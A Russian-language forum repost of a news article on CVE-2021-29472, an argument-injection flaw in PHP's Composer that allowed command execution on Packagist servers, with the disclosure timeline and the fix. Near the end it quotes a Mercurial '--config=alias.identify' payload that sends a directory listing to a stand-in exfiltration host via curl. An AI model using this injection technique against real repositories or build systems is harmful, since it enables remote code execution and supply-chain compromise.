Уязвимость в пакетном менеджере Composer, допускающая компрометацию PHP-репозитория Packagist

Kate

Administrator
Команда форума
В менеджере зависимостей Composer выявлена критическая уязвимость (CVE-2021-29472), позволяющая выполнить произвольные команды в системе при обработке пакета со специально оформленным значением URL, определяющим адрес для загрузки исходных текстов. Проблема проявляется в компонентах GitDriver, SvnDriver и HgDriver, применяемых при использовании систем управления исходными текстами Git, Subversion и Mercurial. Уязвимость устранена в выпусках Composer 1.10.22 и 2.0.13.

Особо отмечается, что проблема главным образом затронула по умолчанию применяемый в Composer репозиторий пакетов Packagist, насчитывающий 306 тысяч пакетов для разработчиков на языке PHP и ежемесячно обслуживающий более 1.4 миллиарда загрузок. В ходе эксперимента показано, что в случае наличия сведений о проблеме атакующие могли бы получить контроль над инфраструктурой Packagist и перехватить учётные данные сопровождающих или перенаправить загрузку пакетов на сторонний сервер, организовав доставку вариантов пакетов с вредоносными изменениями для подстановки бэкдора в процессе установки зависимостей.

Опасность для конечных пользователей ограничивается тем, что содержимое composer.json обычно определяется самим пользователем, а ссылки на исходные тексты передаются при обращении к сторонним репозиториям, обычно заслуживающим доверия. Основной удар пришёлся на репозиторий Packagist.org и сервис Private Packagist, вызывающие Composer с передачей данных, полученных от пользователей. Злоумышленники могли выполнить свой код на серверах Packagist разместив специально оформленный пакет.

Команда Packagist устранила уязвимость в течение 12 часов после поступления сообщения об уязвимости. Исследователи в частном порядке уведомили разработчиков Packagist 22 апреля и в тот же день проблема была исправлена. Публичное обновление Composer с устранение уязвимости было опубликовано 27 апреля, а детали были раскрыты 28 апреля. Аудит логов на серверах Packagist не выявил связанной с уязвимостью подозрительной активности.

Проблема вызвана ошибкой в коде проверки корректности URL в корневом файле composer.json и ссылках для загрузки исходных текстов. Ошибка присутствует в коде с ноября 2011 года. В Packagist для организации загрузки кода без привязки к конкретной системе управления исходными текстами применяются специальные прослойки, которые выполняются при помощи вызова "fromShellCommandline" с передачей аргументов командной строки. Например, для git вызывается команда "git ls-remote --heads $URL", где URL обработан при помощи метода "ProcessExecutor::escape($url)", экранирующего потенциально опасные конструкции, такие как "$(...)" или "`...`".

Суть проблемы в том, что метод ProcessExecutor::escape не экранировал последовательность "--", что позволяло указать в URL любой дополнительный параметр вызова. Подобное экранирование отсутствовало в драйверах GitDriver.php, SvnDriver.php и HgDriver.php. Атаке через GitDriver.php мешало то, что команда "git ls-remote" не поддерживала указание дополнительных аргументов после пути. Возможной оказалась атака на HgDriver.php через передачу параметра "--config" утилите "hq", позволяющего организовать выполнение любой команды через манипуляцию с настройкой "alias.identify". Например, для загрузки и выполнения кода через запуск утилиты curl можно было указать:


--config=alias.identify=!curl http://exfiltration-host.tld --data “$(ls -alh)”

Разместив в Packagist тестовый пакет с подобным URL, исследователи убедились, что после размещения на их сервер поступил HTTP-запрос с одного из серверов Packagist в AWS, содержащий листинг файлов в текущем каталоге.


Источник статьи: https://www.opennet.ru/opennews/art.shtml?num=55065
 
Сверху